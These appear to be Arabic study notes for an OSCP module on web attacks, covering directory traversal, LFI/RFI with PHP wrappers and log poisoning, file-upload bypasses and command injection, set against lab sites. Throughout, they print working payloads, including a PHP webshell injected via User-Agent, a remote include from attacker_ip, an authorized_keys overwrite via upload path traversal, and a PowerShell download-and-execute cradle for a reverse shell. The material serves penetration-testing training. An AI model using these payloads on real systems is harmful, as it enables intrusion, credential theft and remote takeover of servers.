تطوير الويب لسه من أكتر المهارات المطلوبة في صناعة الـ IT. مزيج من الطلب العالي على مطورين مهرة، مواعيد مشاريع ضيّقة، وتقنيات سريعة التطوّر غالبًا بيؤدي لعيوب أمنية متكررة عبر تطبيقات ويب كتيرة — بغض النظر عن لغة البرمجة أو الـ framework المستخدَم. الموديول ده بيركّز على 4 أنواع شائعة من هجمات تطبيقات الويب: Directory Traversal، File Inclusion، File Upload، وCommand Injection.
عشان نستغل الثغرات في الموديول ده، لازم نقدر نحدد مواقع الملفات اللي عايزين نقراها، نرفعها، ندمجها، أو ننفّذها.
المسار المطلق (Absolute Path) بيحدد الموقع الكامل لملف جوه نظام الملفات، شامل كل الدليل الأب. بما إنه بيبدأ من جذر النظام، يقدر يُستخدم من أي دليل حالي. على أنظمة Linux، المسارات المطلقة بتبدأ بـ
/(الجذر). مثال:/etc/passwdبيشتغل بغض النظر عن دليل العمل الحالي.المسار النسبي (Relative Path) بيوصّف موقع ملف بناءً على الدليل الحالي، بدل ما يبدأ من الجذر. التسلسل
../بيمثّل الصعود دليل واحد للأعلى في الهرمية. تسلسلات متعددة ممكن تتجمع عشان نرجع لمستويات أكتر.
ممكن كمان نضيف تسلسلات ../ أكتر من اللازم — بمجرد ما نوصل لدليل الجذر، محاولات الصعود الإضافية مفيهاش تأثير. التقنية دي مفيدة لما الدليل الحالي مش معروف، لأن استخدام خطوات رجوع كتيرة بيضمن الوصول للجذر في النهاية قبل التنقّل للملف المقصود.
Directory Traversal (أو Path Traversal) تقنية هجوم بتسمح للمهاجم يقرأ ملفات من سيرفر المفروض تكون غير قابلة للوصول عادةً. غالبًا بتحصل لما تطبيق ويب يفشل في التحقق من أو تنقية مدخل المستخدم بشكل سليم.
لما مستخدم يطلب صفحة، سيرفر الويب بيسترجع الملف المقابل من تخزين النظام. الملفات دي عادةً مخزَّنة جوه دليل الـ web root أو المجلدات الفرعية بتاعته — على كتير من سيرفرات Linux، الـ web root الافتراضي موجود في /var/www/html/.
لو ثغرة directory traversal موجودة، المهاجم ممكن يتلاعب في باراميترات مسار الملف عشان يهرب من web root ويوصل لمواقع تانية على النظام — محتمل يكشف بيانات حساسة زي ملفات إعداد، اعتمادات، أو مفاتيح خاصة.
القدرة على التعرّف على الثغرة دي مهمة بقد استغلالها. أثناء الاختبار، كل جزء من التطبيق لازم يُفحص بعناية:
1. مرّر الماوس فوق الأزرار واللينكات
2. زُر كل الصفحات القابلة للوصول
3. حلّل الباراميترات في الـ URLs
4. راجع كود مصدر الصفحة لو ممكن
الـ URLs غالبًا بتكشف أدلة مفيدة. مثال:
http://target.com/cms/login.php?language=en.html
اللينك ده بيوفّر رؤى متعددة:
login.php بيشير إن التطبيق مبني بـ PHPlanguage بيشير لملف HTML، مما يوحي إن التطبيق بيحمّل ملفات ديناميكيًا بناءً على مدخل المستخدم/cms/ بيوضّح إن التطبيق شغّال جوه subfolder مش الجذرلو باراميتر بيقبل أسماء ملفات، بيبقى مرشّح أساسي لاختبار traversal باستبدال مسارات ملفات تانية.
افترض إننا بنحلل تطبيق ويب اسمه Mountain Desserts. ملاحظة التنقّل ومعاينات اللينكات بتكشف باراميتر اسمه page:
http://mountaindesserts.com/meta/library/change-lang.php?lang=en.php
ده بيوحي بقوة إن التطبيق بيحمّل صفحات محتوى مختلفة باستخدام الباراميتر ده (غالبًا متنفَّذ بـ PHP عبر مصفوفة $_GET).
لو التطبيق بيدمج الملفات مباشرة من غير تحقق، نقدر نجرّب directory traversal بحقن تسلسلات مسار نسبية:
curl "http://mountaindesserts.com/meta/library/change-lang.php?lang=../../../../etc/passwd"
لو نجح، السيرفر بيرجّع محتوى ملف الباسورد الخاص بـ Linux، مؤكّدًا الثغرة.
Directory Traversal بيُستخدم بشكل متكرر لكشف المعلومات. المهاجمين بيدوّروا على ملفات تحتوي بيانات قيّمة، بما فيها:
ملفات الباسورد | ملفات إعداد التطبيق | اعتمادات قاعدة البيانات | مفاتيح SSH الخاصة
السيرفرات عادةً بتشغّل خدمات الويب تحت حسابات مقيَّدة (مثلًا www-data على Linux). لكن صلاحيات معدَّة بشكل خاطئ أحيانًا بتسمح بقراءة ملفات حساسة.
متصفحات الويب غالبًا بتعدّل أو تنسّق الردود لسهولة القراءة، وده ممكن يتداخل مع الاختبار. التقييمات الأمنية عادةً بتعتمد على أدوات زي: Intercepting proxies | Command-line HTTP clients | سكربتات مخصَّصة
الأدوات دي بتوفّر الردود الخام، وده بيسهّل استخراج البيانات الحساسة بدقة.
الاختبار بيختلف شوية على سيرفرات Windows. بدل /etc/passwd، ملف شائع قابل للقراءة يُستخدم للتحقق هو:
C:\Windows\win.ini
لو الملف ده قدرنا نسترجعه، الثغرة مؤكَّدة. عكس Linux، أنظمة Windows مابتوفّرش طريقة مباشرة لعدّ المستخدمين عبر ملف واحد. عشان كده المهاجمين لازم يجمّعوا معلومات عن سوفت وير السيرفر، الـ framework، والإعداد عشان يحددوا أهداف قيّمة.
مثلًا، لو السيرفر شغّال Microsoft IIS، ملفات مفيدة ممكن تشمل: أدلة لوجات IIS | ملفات إعداد التطبيق | إعداد web root (web.config)
| النظام | صياغة المسار |
|---|---|
| Linux | شرطة مائلة أمامية: ../ |
| Windows | شرطة مائلة خلفية: ..\ |
رغم إن الـ URLs عادةً بتستخدم شرطات مائلة أمامية، بعض تطبيقات Windows ممكن تكون عرضة بس لما تُستخدم شرطات خلفية. عشان كده، لازم دايمًا نختبر الصيغتين.
ثغرات Directory Traversal بتسمح للمهاجمين يتخطوا قيود الوصول المقصودة للملفات ويقروا ملفات عشوائية من السيرفر. الاستغلال الناجح بيعتمد على: تحديد باراميترات بتشير لملفات | التلاعب في تسلسلات المسار للهروب من أدلة مقيَّدة | تحديد معلومات حساسة تقدر تؤدي لاختراق أوسع
بعد ما قوّينا فهمنا لـ directory traversal باستخدام مثال Mountain Desserts، هنطبّق التقنيات دي على سيناريو ثغرة واقعي. أثناء فحص الثغرات، عيب directory traversal اتكتشف في Apache إصدار 2.4.49 شغّال على جهاز هدف. المشكلة دي ممكن تُستغل بإضافة مسارات نسبية مصمَّمة لأدلة محددة (زي cgi-bin) جوه الـ URL.
محاولة أولى لاستغلال الثغرة ممكن تشمل استخدام عميل HTTP سطر أوامر وإدخال تسلسلات رجوع للخلف متعددة (../) للوصول لملفات حساسة زي /etc/passwd. لكن المحاولات دي ممكن تفشل لأن الأنماط دي معروفة على نطاق واسع وغالبًا بتتمنع من سيرفرات الويب، WAFs، أو آليات تحقق المدخل جوه التطبيق نفسه.
للتغلب على القيود دي، المهاجمين غالبًا بيعتمدوا على URL Encoding (المعروف كمان بـ Percent Encoding). الطريقة دي بتحوّل الحروف لصيغة hexadecimal بناءً على قيم ASCII، سامحة بإرسالها بأمان في طلبات الويب.
مثلًا: حرف النقطة (.) ممكن يترمّز كـ %2e. بالتالي، ../ ممكن تُمثَّل كـ %2e%2e/.
باستبدال تسلسل الـ traversal العادي بمكافئه المرمَّز، ممكن نتخطى فلاتر بتكتشف بس النمط غير المرمَّز. لما الطلب المرمَّز يوصل للسيرفر، التطبيق بيفك ترميزه لصورته الأصلية قبل المعالجة. لو آلية الفلترة فشلت تفحص النسخة المفكوكة، محاولة path traversal الخبيثة بتنجح.
# مثال: محاولة مرمَّزة لـ CVE-2021-41773 على Apache 2.4.49
curl "http://target_ip/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
استخدام الحروف المرمَّزة في المسار ممكن يسمح بالوصول لملفات مقيَّدة. لو الطلب نجح، السيرفر بيرجّع محتوى /etc/passwd، مؤكّدًا الثغرة. ده بيوضّح إزاي الترميز يقدر يحوّل هجوم مرفوض لهجوم ناجح.
ليه الترميز بيشتغل: URL encoding مصمَّم لأغراض شرعية — ضمان إن الحروف الخاصة تُنقل بأمان في طلبات HTTP. لكنه غالبًا بيتساء استخدامه في الهجمات الأمنية لأن: الفلاتر ممكن تفحص بس المدخل الخام مش الصيغ المرمَّزة | الضوابط الأمنية ممكن تفك الترميز بعد التحقق | طبقات مختلفة من التطبيق ممكن تفسّر الطلب بشكل مختلف
ترميز الحروف الخاصة تقنية قوية لتجاوز تحقق المدخل والفلاتر الأمنية. لما بنختبر ثغرات directory traversal، مهم نجرّب نسختين من الـ payloads، العادية والمرمَّزة، لأن الدفاعات ممكن تمنع واحدة بس منهم.
قبل ما ندخل في Local File Inclusion، مهم نميّز بينها وبين Directory Traversal بوضوح، بما إن الثغرتين دول غالبًا بيتلخبطوا حتى عند ممارسين أمان ذوي خبرة. سوء تحديد نوع الثغرة ممكن يضيّع فرص — خاصةً لما الهدف هو تحقيق تنفيذ كود.
Directory Traversal بتسمح للمهاجم يقرا ملفات موجودة برّه web root بالتلاعب في مسارات الملفات. File Inclusion، بالمقابل، أقوى بكتير لأنها بتخلّي التطبيق يحمّل ملف كجزء من تدفق تنفيذه — يعني الملف المُدمَج بيتعالج من الـ interpreter بتاع السيرفر، مش بس يتعرض.
Directory Traversal → قراءة محتوى الملف فقط
File Inclusion → تنفيذ الملفات المُدمَجة (محلية أو بعيدة)
مثلًا، لو تطبيق PHP عرضة لـ traversal والمهاجم وصل لـ admin.php، السيرفر عادةً هيرجّع كود المصدر. بالمقابل، لو التطبيق عرضة لـ File Inclusion، نفس الملف هيتنفّذ من PHP، منتجًا خرج وقت التشغيل بدل الكود.
في السيناريو ده، الهدف هو الحصول على Remote Code Execution باستغلال عيب LFI. تقنية فعّالة لده هي Log Poisoning.
Log Poisoning بتشمل حقن كود خبيث في ملفات log السيرفر بيكتبها تلقائيًا. لو المهاجم قدر بعدين يدمج ملف الـ log ده عبر ثغرة LFI، الكود المحقون هينفّذ.
العملية بتشتغل لأن:
تخيل سيرفر ويب بيخزّن اللوجات في:
/var/log/apache2/access.log
إدخالات اللوج عادةً بتحتوي حقول زي: عنوان IP | المورد المطلوب | الطابع الزمني | رأس User-Agent
حقل User-Agent مفيد بشكل خاص لأنه ممكن يتعدّل قبل إرسال طلب. المهاجم يقدر يحقن كود server-side جوه الحقل ده عشان يبقى جزء من ملف اللوج.
# حقن كود PHP في رأس User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
بمجرد إرسال الطلب، الـ payload بيتخزّن في access log. في النقطة دي: ملف اللوج بيحتوي كود تنفيذي يتحكم فيه المهاجم | ثغرة LFI تقدر تدمج الملف ده | الكود المحقون بينفّذ على السيرفر
لتحفيز التنفيذ:
1. استخدم الباراميتر العرضة للخطر لدمج ملف اللوج المسموم
2. وفّر باراميتر أمر للكود المحقون
3. السيرفر بينفّذ الأمر ويرجّع الخرج
curl "http://target.com/index.php?page=../../../../var/log/apache2/access.log&cmd=id"
لو الأوامر فيها مسافات أو حروف خاصة، تقنيات ترميز (زي استبدال المسافات بـ
%20) ممكن تكون مطلوبة لضمان التفسير السليم.
بمجرد تحقيق تنفيذ الأوامر، المهاجمين غالبًا بيصعّدوا لـ reverse shell عشان يحصلوا على تحكم تفاعلي في النظام:
1. ابدأ listener على جهاز المهاجم
2. نفّذ أمر على الهدف بيتصل رجوع
3. استقبل جلسة shell بعيدة
بـ shell تفاعلي، المهاجم يقدر يتصفح الملفات، يشغّل برامج، ومحتمل يصعّد الصلاحيات.
مفهوم الاستغلال مشابه على منصات Windows، لكن مسارات الملفات بتختلف. في بيئات بتستخدم حزم زي XAMPP، لوجات Apache ممكن تكون في:
C:\xampp\apache\logs\
نفس تقنية التسميم ممكن تتطبّق لو المهاجم يقدر يتحكم في البيانات المُسجَّلة.
رغم إن ثغرات File Inclusion مرتبطة أكتر بـ PHP، مشاكل مشابهة ممكن توجد في تقنيات server-side تانية: تطبيقات Perl | Classic ASP وASP.NET | Java Server Pages (JSP) | بيئات حديثة زي Node.js
نهج الاستغلال بيفضل متشابه إلى حد كبير: حقن كود تنفيذي في ملف التطبيق هيدمجه لاحقًا.
Local File Inclusion أخطر بكتير من Directory Traversal لأنها ممكن تؤدي لاختراق النظام الكامل، مش مجرد كشف معلومات.
PHP بتوفّر protocol wrappers متعددة بتوسّع قدراتها في التعامل مع الملفات. الـ wrappers دي بتسمح للتطبيقات تتفاعل مع أنواع موارد مختلفة وكأنها ملفات قياسية، بما فيها تخزين محلي، مواقع بعيدة، وتدفقات بيانات في الذاكرة.
من منظور أمني، الـ wrappers دي ممكن تبقى أدوات قوية أثناء الاستغلال. في تطبيقات عرضة للخطر، ممكن تسمح للمهاجمين يتخطوا آليات فلترة المدخل أو يحققوا تنفيذ كود عبر عيوب File Inclusion.
الـ wrapper php://filter بيمكّن التلاعب في تدفقات الملفات قبل ما تتعالج. واحد من أقيم استخداماته في الاختبار الأمني هو استرجاع كود المصدر الخام لملفات تنفيذية من غير تنفيذها.
عادةً، لما ملف PHP بيتدمج، السيرفر بينفّذه ويرجّع الخرج بس. لكن بتطبيق فلاتر ترميز زي Base64، المهاجم يقدر يحصل على المحتوى الأصلي للملف:
curl "http://target.com/index.php?page=php://filter/convert.base64-encode/resource=config.php"
السيرفر هيـ: يقرا الملف | يرمّز محتواه بـ Base64 | يرجّع البيانات المرمَّزة
المهاجم بعدين يقدر يفك ترميز سلسلة Base64 محليًا عشان يحصل على كود المصدر الأصلي:
echo "<base64_output>" | base64 -d
ليه ده مهم: الوصول لكود المصدر ممكن يكشف اعتمادات قاعدة بيانات، مفاتيح API، مسارات ملفات داخلية، منطق التطبيق، ووظائف مخفية. المعلومة دي ممكن تساعد بشكل كبير في استغلال إضافي.
بعد فك الترميز، المهاجم ممكن يكتشف معلومات حساسة مُضمَّنة في الكود، زي تفاصيل اتصال قاعدة البيانات: عنوان السيرفر | اسم المستخدم | الباسورد — الاعتمادات دي ممكن تُعاد استخدامها للوصول لخدمات تانية، بما فيها قواعد بيانات أو آليات دخول بعيد.
بينما php://filter مفيد أساسًا لكشف المعلومات، الـ wrapper data:// ممكن يُستغل لتنفيذ كود مباشر. الـ wrapper ده بيسمح بتضمين بيانات مباشرة جوه الطلب وكأنها ملف — المحتوى المُضمَّن ممكن يكون نص عادي أو مرمَّز بـ Base64. لما يُستخدم في ثغرة File Inclusion، التطبيق بيعامل البيانات المُضمَّنة كـ كود تنفيذي.
curl "http://target.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id"
التقنية دي مفيدة بشكل خاص لما: المهاجم مايقدرش يكتب ملفات على السيرفر | تسميم اللوجات مش ممكن | وظيفة الرفع مقيَّدة
متطلب إعداد مهم: الـ wrapper
data://مش دايمًا قابل للاستغلال افتراضيًا. الاستخدام الناجح عادةً بيتطلب إعداد PHP محدد مفعَّل:allow_url_include = On. لو الإعداد ده معطَّل، الـ wrapper مايقدرش يُستخدم لهجمات الدمج.
| Wrapper | الاستخدام |
|---|---|
| php://filter | كشف كود المصدر — بيساعد في تحليل الأجزاء الداخلية للتطبيق، غالبًا بيؤدي لاكتشاف اعتمادات |
| data:// | تنفيذ كود عشوائي — بيسمح بحقن payload من غير كتابة ملفات، يقدر يتخطى بعض القيود الأمنية |
ثغرات RFI بتحصل بتكرار أقل من LFI لأنها بتتطلب إعدادات سيرفر محددة. في تطبيقات مبنية على PHP، استغلال RFI عادةً بيعتمد على تفعيل إعداد allow_url_include، المعطَّل افتراضيًا في إصدارات PHP الحديثة — نفس المتطلب المطلوب لاستخدام data://.
بينما LFI بتسمح للمهاجمين يدمجوا ملفات مخزَّنة على السيرفر المحلي، RFI بتمكّن دمج ملفات مستضافة على أنظمة خارجية عبر بروتوكولات زي HTTP أو SMB. بمجرد الدمج، الملف البعيد بينفّذ جوه سياق تطبيق الويب العرضة للخطر.
توزيعات اختبار أمني زي Kali Linux بتوفّر webshells PHP جاهزة موجودة في:
/usr/share/webshells/php/
Webshell سكربت خفيف بيوفّر واجهة أوامر عبر المتصفح، سامحة للمهاجمين بتنفيذ أوامر نظام عن بُعد.
لاستغلال عيب RFI، المهاجم لازم يستضيف الملف الخبيث على سيرفر الهدف يقدر يوصله. طريقة بسيطة هي إطلاق سيرفر ويب مؤقت باستخدام وحدة HTTP المدمجة في Python من الدليل اللي فيه الـ webshell:
python3 -m http.server 8000
ده بيخلّي الملف متاح عبر HTTP عشان التطبيق العرضة للخطر يقدر يسترجعه ويدمجه.
بعد استضافة الملف، المهاجم بيتلاعب في الباراميتر العرضة للخطر في تطبيق الويب عشان يشير لـ URL الملف البعيد بدل اسم ملف محلي:
curl "http://target.com/index.php?page=http://attacker_ip:8000/webshell.php&cmd=id"
لو نجح، التطبيق بينزّل الملف وينفّذه كجزء من معالجته العادية. بتوفير باراميتر إضافي يحتوي أمر نظام، المهاجم يقدر ينفّذ أوامر على السيرفر الهدف ويشوف الخرج من خلال رد تطبيق الويب.
الاستغلال الناجح بيأكّد إن تنفيذ كود عشوائي عن بُعد ممكن. في المرحلة دي، المهاجمين غالبًا بيصعّدوا وصولهم بإنشاء reverse shell، اللي بيوفّر جلسة أوامر تفاعلية على النظام المخترَق.
نقاط أساسية عن RFI:
كتير من تطبيقات الويب بتسمح للمستخدمين يقدّموا ملفات للسيرفر. ثغرات رفع الملفات عمومًا ممكن تتصنّف لـ 3 مجموعات أساسية:
1. رفع ملفات تنفيذية — التطبيق بيسمح برفع ملفات السيرفر يقدر ينفّذها. مثلًا، لو مهاجم قدر يرفع سكربت server-side (زي ملف PHP) لسيرفر ويب مُعدّ يعالج اللغة دي، السكربت يقدر يتحفّز عبر طلب ويب.
2. دمج الرفع مع ثغرات تانية — مثلًا، لو نظام عرضة لـ Directory Traversal، مهاجم ممكن يتلاعب في مسار الرفع عشان يكتب فوق ملفات حساسة زي مفاتيح توثيق. ميزات الرفع كمان ممكن تُدمج مع هجمات تانية زي XXE أو XSS — لو منصة بتسمح برفع صور SVG، ملف خبيث ممكن يحتوي payloads مُضمَّنة.
3. هجمات محتاجة تفاعل المستخدم — مثلًا، مهاجم ممكن يرفع مستند فيه ماكروز خبيثة متنكّرة كملف شرعي (زي سيرة ذاتية). الهجوم بينجح بس لو حد نزّل وفتح الملف.
تحديد ميزات الرفع: حسب طبيعة التطبيق، إمكانيات الرفع ممكن تظهر في أماكن متوقّعة:
في السيناريو ده، ميزة الرفع بتتساء استخدامها لتحقيق تنفيذ أوامر عن بُعد والحصول في النهاية على reverse shell. لوحة الإدارة اتستبدلت بنموذج تقديم ملف بيدعو المستخدمين يرفعوا صور، والمؤشرات بتوحي إن التطبيق شغّال على بيئة Windows باستخدام XAMPP stack.
لاختبار القيود، ملف نصي بسيط اترفع بنجاح، مؤكّدًا إن النظام مش بيفرض بصرامة رفع صور بس.
محاولة رفع سكربت server-side بتتمنع لأن التطبيق بيفلتر ملفات بامتدادات محددة. بما إن منطق الفلترة الدقيق مش معروف، محاولات التجاوز بتعتمد على التجربة.
استراتيجيات تهرّب شائعة:
.phtml، .php5، .pHp)تعديل بسيط لامتداد الملف بيسمح للرفع ينجح، موضّحًا إن آليات blacklist البسيطة غالبًا ممكن تُتخطى.
بعد ما الملف الخبيث اتخزّن في دليل الرفع بتاع السيرفر، يقدر يُوصل له مباشرة عبر طلب ويب. بتمرير أوامر كباراميترات، السكربت المرفوع بينفّذها على السيرفر، مؤكّدًا تنفيذ الكود بنجاح:
curl "http://target.com/uploads/shell.php?cmd=whoami"
1. ابدأ listener على جهاز المهاجم
2. ابعت أمر للسكربت المرفوع يوجّه السيرفر يتصل رجوع
3. بمجرد تأسيس الاتصال، المهاجم بيستقبل command shell على النظام الهدف
تقنيات ترميز (زي Base64) غالبًا بتُستخدم لنقل سلاسل أوامر معقَّدة فيها حروف خاصة بأمان.
ليه رفع ملفات غير آمن لسه خطير حتى لو الملفات المرفوعة مش قادرة تتنفّذ على السيرفر؟ مثال واقعي شائع هو Google Drive، اللي بيقبل تقريبًا أي نوع ملف لكن بيعزلهم بطريقة بتمنع التنفيذ على النظام المضيف. لما الاستغلال المباشر مش ممكن، المهاجمين ممكن يدمجوا ضعف الرفع مع ثغرة تانية — زي Directory Traversal — لتحقيق تأثير ذو معنى.
بعد فتح النسخة الأحدث من تطبيق "Mountain Desserts"، نلاحظ: رفع الملفات لسه مسموح | المنصة دلوقتي شغّالة على Linux ظاهريًا | لينكات إدارية وصفحات PHP معينة مش قابلة للوصول بقى
محاولات طلب نقاط نهاية PHP معروفة سابقًا يدويًا بترجّع ردود "not found"، موحية إن الـ stack بتاع التطبيق اتغيّر وممكن يكون مابقاش معتمد على PHP. رفع ملف نصي بسيط بينجح، مؤكّدًا إن ميزة الرفع لسه نشطة.
خطوة اختبار حرجة هي رفع نفس الملف أكتر من مرة:
أدوات اعتراض الترافيك زي Burp Suite تقدر تُستخدم لفحص وتعديل طلب الرفع لتحليل أعمق.
بعد كده، باراميتر اسم الملف بيتعدّل عشان يشمل تسلسلات مسار نسبية (مثلًا الخروج برّه الدليل المقصود). ده بيختبر هل السيرفر بيتعامل بشكل خاطئ مع مسارات الملفات ويسمح بكتابة ملفات أبعد من web root.
تحذير مهم: في اختبارات اختراق حقيقية، الكتابة فوق ملفات بشكل أعمى ممكن تعطّل أنظمة إنتاجية، تسبب فقدان بيانات، أو تحفّز انقطاعات — عشان كده حذر شديد مطلوب.
تطبيقات الويب عادةً بتشتغل تحت حسابات خدمة مقيَّدة: على Linux، سيرفرات الويب غالبًا بتشتغل كمستخدم منخفض الصلاحية (حساب خدمة مخصَّص) | على Windows، خدمات زي Microsoft IIS ممكن تشتغل تحت هويات محدودة زي Network Service أو حسابات application pool
لكن نشرات معدَّة بشكل سيء أحيانًا بتشغّل تطبيقات بصلاحيات مرتفعة (root أو Administrator)، وده بيزوّد الخطر بشكل كبير.
لو path traversal جوه آلية الرفع نجح، المهاجمين ممكن يجرّبوا يكتبوا فوق ملفات حساسة. هدف عالي التأثير على أنظمة Linux هو ملف SSH authorized_keys لحساب ذو صلاحية. باستبدال الملف ده بمفتاح عام يتحكم فيه المهاجم، يقدروا محتمل يحصلوا على وصول بعيد عبر SSH.
العملية بتشمل:
1. توليد زوج مفاتيح SSH
ssh-keygen -t rsa -f attacker_key
2. تجهيز ملف يحتوي المفتاح العام
3. رفعه باستخدام مسار متلاعَب فيه يستهدف دليل إعداد المستخدم ذو الصلاحية
filename=../../../../root/.ssh/authorized_keys
لو نجح، المهاجم يقدر يوثّق باستخدام المفتاح الخاص المقابل:
ssh -i attacker_key root@target_ip
بعد الكتابة فوق ملف المفتاح، محاولة اتصال SSH ممكن تمنح وصول إداري مباشر للسيرفر — موضّحة إزاي عيب رفع بسيط ممكن يتصعّد لاختراق نظام كامل حتى من غير رفعات تنفيذية.
تطبيقات الويب غالبًا محتاجة تتواصل مع نظام التشغيل عشان تنفّذ مهام زي إدارة الملفات المُنشأة أثناء الرفع أو تنفيذ عمليات صيانة. من الأفضل إن المطورين يعتمدوا على واجهات آمنة أو نداءات نظام مُعرَّفة مسبقًا بتتحكم بصرامة في إزاي الأوامر بتتنفّذ.
لكن بناء واجهات أوامر آمنة محتاج وقت وتخطيط كبير. لما التطبيقات لازم تتعامل مع سيناريوهات كتيرة ومختلفة، المطورين أحيانًا بيختاروا نهج أسرع: تمرير مدخل المستخدم مباشرة لأوامر النظام بعد تطبيق فلترة أساسية. الممارسة دي بتقدّم خطر لأن الفلترة غالبًا ناقصة وممكن تتخطى.
اعتبر تطبيق ويب محدَّث اسمه "Mountain Vaults". الواجهة دلوقتي فيها ميزة بتسمح للمستخدمين يستنسخوا مستودعات Git بتقديم أمر شبيه باللي عادةً بيتكتب في terminal.
بما إن التطبيق ظاهريًا بينفّذ السلسلة المقدَّمة على السيرفر، الوظيفة دي بتثير شك إن المدخل ممكن يتمرّر مباشرة لنظام التشغيل. لو كده، ممكن يسمح للمهاجمين يضيفوا أوامر إضافية.
كاختبار، تقديم طلب استنساخ مستودع شرعي — زي استنساخ مستودع Exploit Database — بينتج محاولة السيرفر ينفّذ العملية ويعرض خرج الأمر. حقيقة إن الأمر المنفَّذ بيترجّع صدى (echoed back) بتأكّد إن تنفيذ على مستوى النظام بيحصل وراء الكواليس.
فحص طلب HTTP باستخدام Burp Suite بيكشف إن مدخل المستخدم بيتبعت عبر باراميتر اسمه "Archive". ده بيوضّح إن تعديل الباراميتر ده ممكن يسمح بتنفيذ أوامر عشوائية.
لما نستبدل المدخل المتوقَّع بأمر نظام، التطبيق بيكتشف نشاط مشبوه ويمنعه — ده بيوحي بوجود فلتر مصمَّم لمنع command injection.
لفهم القيود، الاختبار بيبدأ بمدخل صالح أدنى. تقديم بس الأمر الأساسي (git) بينجح ويعرض معلومات المساعدة، مؤكّدًا إن التنفيذ مسموح طالما المدخل بيبان شرعي:
Archive=git
# → ينجح، بيعرض git help
Archive=git --version
# → ينجح، بيكشف تفاصيل بيئية زي هل السيرفر Windows ولا Linux
بما إن التنفيذ المباشر للأوامر مقيَّد، الخطوة الجاية هي تجربة command chaining. كتير من مفسّرات الأوامر بتسمح بتنفيذ أوامر متعددة بالتتابع باستخدام فواصل زي الفواصل المنقوطة أو علامات &.
# مثال: إدراج فاصل أمر مرمَّز متبوع بأمر تاني
Archive=git%26whoami
بإدراج فاصل أمر مرمَّز متبوع بأمر تاني، الاتنين بينفّذوا بنجاح. ده بيوضّح إن الفلتر بيفحص بس إذا كان المدخل يحتوي الكلمة المفتاحية المتوقَّعة ومش بينقّي بشكل سليم باقي السلسلة.
فهم أنهي shell بيعالج الأوامر المحقونة مهم لصياغة payloads موثوقة. أمر اختبار مصمَّم خصيصًا يقدر يكشف هل التنفيذ بيحصل في Command Prompt أو PowerShell على أنظمة Windows:
Archive=git%26$PSVersionTable
الخرج بيوضّح إن الأوامر بتشتغل جوه بيئة PowerShell، وده بيأثر على التقنيات اللي ممكن تُستخدم لاستغلال إضافي.
بتأكيد command injection ومعرفة بيئة الـ shell، المهاجمين يقدروا يجربوا يحصلوا على وصول تفاعلي للنظام:
1. استضافة سكربت على سيرفر يتحكم فيه المهاجم
2. إجبار النظام الهدف ينزّل وينفّذ السكربت ده عبر الأمر المحقون
3. تأسيس اتصال رجوع للمهاجم
أدوات زي Netcat تقدر تستمع لاتصالات واردة، بينما سيرفر ويب بسيط يقدر يستضيف الـ payload:
# على جهاز المهاجم
nc -lvnp 4444
# الأمر المحقون في التطبيق (مثال PowerShell)
Archive=git%26powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker_ip/shell.ps1')"
في الموديول ده، فحصنا عدة تقنيات هجوم واسعة الانتشار تستهدف تطبيقات الويب. بدأنا بـ directory traversal، موضّحين إزاي المهاجمين يقدروا يوصلوا لملفات برّه web root. بعد كده، انتقلنا لعيوب file inclusion، اللي ممكن تُستغل مش بس لقراءة محتوى الملف لكن كمان لتنفيذ كود بتحميل ملفات في بيئة تشغيل التطبيق. حلّلنا كمان آليات رفع ملفات غير آمنة، غطّينا كل من الـ payloads التنفيذية وغير التنفيذية. أخيرًا، استكشفنا هجمات command injection وإزاي ممكن تُستخدم للتفاعل مع نظام تشغيل سيرفر ويب.
إتقان طرق الهجوم دي قيّم جدًا لإجراء التقييمات الأمنية. لما تُستغل على تطبيقات مواجهة للإنترنت، نقاط الضعف دي ممكن توفّر نقطة دخول لبيئة الهدف. في الأنظمة الداخلية، ممكن تمكّن الحركة عبر الشبكة للوصول لأصول إضافية.
رغم إن الثغرات دي عمومًا مستقلة عن لغات برمجة أو frameworks محددة، تقنيات الاستغلال غالبًا بتعتمد على التقنيات المستخدَمة. عشان كده، مهم نحدد بسرعة الـ tech stack بتاع التطبيق قبل محاولة أي هجوم.
نهاية نوتس الموديول السابع — OSCP: Common Web Application Attacks